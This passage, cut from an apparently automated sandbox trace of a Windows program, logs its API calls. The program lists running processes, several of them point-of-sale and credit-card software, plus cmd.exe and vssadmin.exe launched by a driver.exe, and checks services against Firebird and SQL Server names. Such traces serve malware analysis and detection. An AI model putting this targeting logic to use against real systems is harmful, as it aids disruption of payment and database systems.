szExeFile="aldelo.exe")) returned 1 [0056.173] lstrlenW (lpString="aldelo.exe") returned 10 [0056.173] Process32NextW (in: hSnapshot=0x19c, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0056.174] lstrlenW (lpString="ccv_server.exe") returned 14 [0056.174] Process32NextW (in: hSnapshot=0x19c, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0056.175] lstrlenW (lpString="centralcreditcard.exe") returned 21 [0056.176] Process32NextW (in: hSnapshot=0x19c, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaa0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0056.457] lstrlenW (lpString="creditservice.exe") returned 17 [0056.457] Process32NextW (in: hSnapshot=0x19c, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0056.458] lstrlenW (lpString="edcsvr.exe") returned 10 [0056.458] Process32NextW (in: hSnapshot=0x19c, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0056.459] lstrlenW (lpString="fpos.exe") returned 8 [0056.459] Process32NextW (in: hSnapshot=0x19c, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0056.461] lstrlenW (lpString="isspos.exe") returned 10 [0056.461] Process32NextW (in: hSnapshot=0x19c, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0056.462] lstrlenW (lpString="mxslipstream.exe") returned 16 [0056.462] Process32NextW (in: hSnapshot=0x19c, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0056.463] lstrlenW (lpString="omnipos.exe") returned 11 [0056.463] Process32NextW (in: hSnapshot=0x19c, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0056.465] lstrlenW (lpString="spcwin.exe") returned 10 [0056.465] Process32NextW (in: hSnapshot=0x19c, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0056.466] lstrlenW (lpString="spgagentservice.exe") returned 19 [0056.466] Process32NextW (in: hSnapshot=0x19c, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0056.467] lstrlenW (lpString="utg2.exe") returned 8 [0056.467] Process32NextW (in: hSnapshot=0x19c, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="complicatedprivacy.exe")) returned 1 [0056.469] lstrlenW (lpString="complicatedprivacy.exe") returned 22 [0056.469] Process32NextW (in: hSnapshot=0x19c, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="increases.exe")) returned 1 [0056.470] lstrlenW (lpString="increases.exe") returned 13 [0056.470] Process32NextW (in: hSnapshot=0x19c, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0056.472] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0056.472] Process32NextW (in: hSnapshot=0x19c, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0056.473] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0056.473] Process32NextW (in: hSnapshot=0x19c, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="driver.exe")) returned 1 [0056.474] lstrlenW (lpString="driver.exe") returned 10 [0056.474] Process32NextW (in: hSnapshot=0x19c, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x5dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0056.475] lstrlenW (lpString="cmd.exe") returned 7 [0056.475] Process32NextW (in: hSnapshot=0x19c, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0056.477] lstrlenW (lpString="conhost.exe") returned 11 [0056.477] Process32NextW (in: hSnapshot=0x19c, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xa0c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0056.478] lstrlenW (lpString="vssadmin.exe") returned 12 [0056.478] Process32NextW (in: hSnapshot=0x19c, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0056.479] lstrlenW (lpString="VSSVC.exe") returned 9 [0056.479] Process32NextW (in: hSnapshot=0x19c, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 0 [0056.480] CloseHandle (hObject=0x19c) returned 1 [0056.481] Sleep (dwMilliseconds=0x1f4) [0057.287] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x35f0750 [0057.288] EnumServicesStatusExW (in: hSCManager=0x35f0750, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x211ff44, lpServicesReturned=0x211ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x211ff44, lpServicesReturned=0x211ff5c, lpResumeHandle=0x0) returned 0 [0057.288] GetLastError () returned 0xea [0057.288] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x13a6) returned 0x60e1c0 [0057.289] EnumServicesStatusExW (in: hSCManager=0x35f0750, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x60e1c0, cbBufSize=0x13a6, pcbBytesNeeded=0x211ff44, lpServicesReturned=0x211ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x60e1c0, pcbBytesNeeded=0x211ff44, lpServicesReturned=0x211ff5c, lpResumeHandle=0x0) returned 1 [0057.290] CloseServiceHandle (hSCObject=0x35f0750) returned 1 [0057.290] lstrlenW (lpString="Appinfo") returned 7 [0057.290] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0057.290] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0057.290] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0057.290] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0057.290] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0057.290] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0057.291] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0057.291] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0057.291] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0057.291] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0057.291] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0057.291] lstrlenW (lpString="AudioSrv") returned 8 [0057.291] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0057.291] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0057.291] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0057.291] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0057.291] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0057.291] lstrlenW (lpString="BFE") returned 3 [0057.291] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0057.291] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0057.291] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0057.291] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0057.291] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0057.291] lstrlenW (lpString="CryptSvc") returned 8 [0057.291] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0057.291] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0057.291] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0057.292] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0057.292] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0057.292] lstrlenW (lpString="CscService") returned 10 [0057.292] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0057.292] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0057.292] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0057.292] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0057.292] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0057.292] lstrlenW (lpString="DcomLaunch") returned 10 [0057.292] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0057.292] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0057.292] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0057.292] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0057.292] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0057.292] lstrlenW (lpString="Dhcp") returned 4 [0057.292] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0057.292] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0057.292] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0057.292] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0057.292] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0057.292] lstrlenW (lpString="Dnscache") returned 8 [0057.292] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0057.292] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0057.293] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0057.293] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0057.293] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0057.293] lstrlenW (lpString="DPS") returned 3 [0057.293] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0057.293] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0057.293] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0057.293] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0057.293] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0057.293] lstrlenW (lpString="eventlog") returned 8 [0057.293] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0057.293] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0057.293] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0057.293] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0057.293] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0057.293] lstrlenW (lpString="EventSystem") returned 11 [0057.293] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0057.293] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0057.293] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0057.293] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0057.293] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0057.294] lstrlenW (lpString="FontCache") returned 9 [0057.294] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0057.294] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0057.294] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0057.294] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0057.294] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0057.294] lstrlenW (lpString="gpsvc") returned 5 [0057.294] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0057.294] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0057.294] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0057.294] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0057.294] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0057.294] lstrlenW (lpString="iphlpsvc") returned 8 [0057.294] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0057.294] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0057.294] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0057.294] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0057.294] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0057.294] lstrlenW (lpString="LanmanServer") returned 12 [0057.294] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0057.295] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0057.295] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0057.295] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0057.295] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0057.295] lstrlenW (lpString="LanmanWorkstation") returned 17 [0057.295] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0057.295] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0057.295] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0057.295] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0057.295] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0057.295] lstrlenW (lpString="lmhosts") returned 7 [0057.295] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0057.295] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0057.295] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0057.295] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0057.295] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0057.295] lstrlenW (lpString="MMCSS") returned 5 [0057.295] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0057.295] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0057.295] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0057.295] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0057.295] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0057.295] lstrlenW (lpString="MpsSvc") returned 6 [0057.296] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0057.296] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0057.296] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0057.296] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0057.296] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0057.296] lstrlenW (lpString="Netman") returned 6 [0057.296] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0057.296] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0057.296] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0057.296] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0057.296] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0057.296] lstrlenW (lpString="netprofm") returned 8 [0057.296] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0057.296] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0057.296] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0057.296] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0057.296] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0057.296] lstrlenW (lpString="NlaSvc") returned 6 [0057.296] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0057.296] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0057.296] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0057.297] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0057.297] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0057.297] lstrlenW (lpString="nsi") returned 3 [0057.297] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0057.297] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0057.297] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0057.297] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0057.297] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0057.297] lstrlenW (lpString="PcaSvc") returned 6 [0057.297] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0057.297] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0057.297] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0057.297] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0057.297] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0057.297] lstrlenW (lpString="PlugPlay") returned 8 [0057.297] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0057.297] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0057.297] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0057.298] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0057.298] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0057.298] lstrlenW (lpString="Power") returned 5 [0057.298] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0057.298] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0057.298] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0057.298] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0057.298] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0057.298] lstrlenW (lpString="ProfSvc") returned 7 [0057.298] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0057.298] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0057.298] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0057.298] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0057.298] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0057.298] lstrlenW (lpString="RpcEptMapper") returned 12 [0057.298] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0057.298] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0057.298] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0057.298] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0057.298] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0057.298] lstrlenW (lpString="RpcSs") returned 5 [0057.298] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0057.299] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0057.299] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0057.299] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0057.299] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0057.299] lstrlenW (lpString="SamSs") returned 5 [0057.299] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0057.299] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0057.299] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0057.299] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0057.299] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0057.299] lstrlenW (lpString="Schedule") returned 8 [0057.299] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0057.299] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0057.299] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0057.299] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0057.299] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0057.299] lstrlenW (lpString="SENS") returned 4 [0057.299] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0057.299] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0057.299] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0057.300] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0057.300] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0057.300] lstrlenW (lpString="ShellHWDetection") returned 16 [0057.300] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0057.300] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0057.300] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0057.300] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0057.300] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0057.300] lstrlenW (lpString="Spooler") returned 7 [0057.300] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0057.300] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0057.300] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0057.300] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0057.300] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0057.300] lstrlenW (lpString="sppsvc") returned 6 [0057.300] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="sppsvc") returned -1 [0057.300] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="sppsvc") returned -1 [0057.300] lstrcmpiW (lpString1="sqlwriter", lpString2="sppsvc") returned 1 [0057.300] lstrcmpiW (lpString1="mssqlserver", lpString2="sppsvc") returned -1 [0057.300] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="sppsvc") returned 1 [0057.300] lstrlenW (lpString="SysMain") returned 7 [0057.300] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0057.300] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0057.301] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0057.301] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0057.301] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0057.301] lstrlenW (lpString="Themes") returned 6 [0057.301] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0057.301] lstrcmpiW 